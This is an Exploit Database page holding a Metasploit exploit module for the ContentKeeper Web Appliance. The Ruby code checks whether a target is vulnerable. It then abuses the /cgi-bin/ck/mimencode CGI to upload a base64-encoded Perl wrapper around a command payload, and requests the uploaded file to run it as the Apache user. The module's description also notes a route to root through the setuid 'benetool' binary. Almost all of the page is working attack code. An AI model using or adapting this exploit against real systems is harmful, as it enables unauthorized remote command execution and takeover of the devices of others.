



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# ContentKeeper Web - Remote Command Execution (Metasploit)

**EDB-ID:**

16923

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[HARDWARE](#)

**Date:**

2010-10-09

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: contentkeeperweb_mimencode.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'ContentKeeper Web Remote Command Execution',
      'Description'   => %q{
        This module exploits the ContentKeeper Web Appliance.
        Versions prior
        to 125.10 are affected. This module exploits a combination
        of weaknesses
        to enable remote command execution as the Apache user.
        Following exploitation
        it is possible to abuse an insecure PATH call to 'ps' etc
        in setuid 'benetool'
        to escalate to root.
      },
      'Author'        => [ 'patrick' ],
      'Arch'          => [ ARCH_CMD ],
      'License'       => MSF_LICENSE,
      'Version'       => '$Revision: 10617 $',
      'References'    =>
        [
          [ 'OSVDB', '54551' ],
          [ 'OSVDB', '54552' ],
          [ 'URL', 'http://www.aushack.com/200904-
contentkeeper.txt' ],
        ],
      'Privileged'    => false,
      'Payload'       =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Platform'     => ['unix'],
      'Targets'       =>
        [
          [ 'Automatic', { } ]
        ],
      'DisclosureDate' => 'Feb 25 2009',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
      ], self.class)
  end
end
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

def check
  connect
  sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
  banner = sock.get(-1,3)
  disconnect

  if (banner =~ /500 Internal/)
    return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
end

def exploit

  exp = "#!/usr/bin/perl\n"
  exp << "print \"Content-type: text/html\\n\\n\";\n\n"
  exp << "system(\""
  exp << payload.encoded.gsub('\"', '\\\"')
  exp << "\");\n"

  body = Rex::Text.encode_base64(exp)

  connect

  sploit = "POST /cgi-bin/ck/mimencode?-u+-o+bak.txt HTTP/1.1\r\n"
  sploit << "Host: #{datastore['RHOST']}\r\n"
  sploit << "Content-Length: #{body.length}\r\n\r\n"

  print_status("Uploading payload to target.")
  sock.put(sploit + body + "\r\n\r\n")
  disconnect

  select(nil,nil,nil,5)
  print_status("Calling payload...")
  connect
  req = "GET /cgi-bin/ck/bak.txt HTTP/1.1\r\n" # bak.txt is owned by
apache, chmod 777 :) rwx
  req << "Host: #{datastore['RHOST']}\r\n"
  sock.put(req + "\r\n\r\n")

  handler
  disconnect
end
end

```

Tags: [Metasploit Framework](#)  
(MSF)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



[EXPLOIT DATABASE BY OFFSEC](#)

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

 [EXPLOITS](#)

 [GHDB](#)

 [PAPERS](#)

 [SHELLCODES](#)

 [SEARCH EDB](#)

 [SEARCHSPLOIT MANUAL](#)

 [SUBMISSIONS](#)

 [ONLINE TRAINING](#)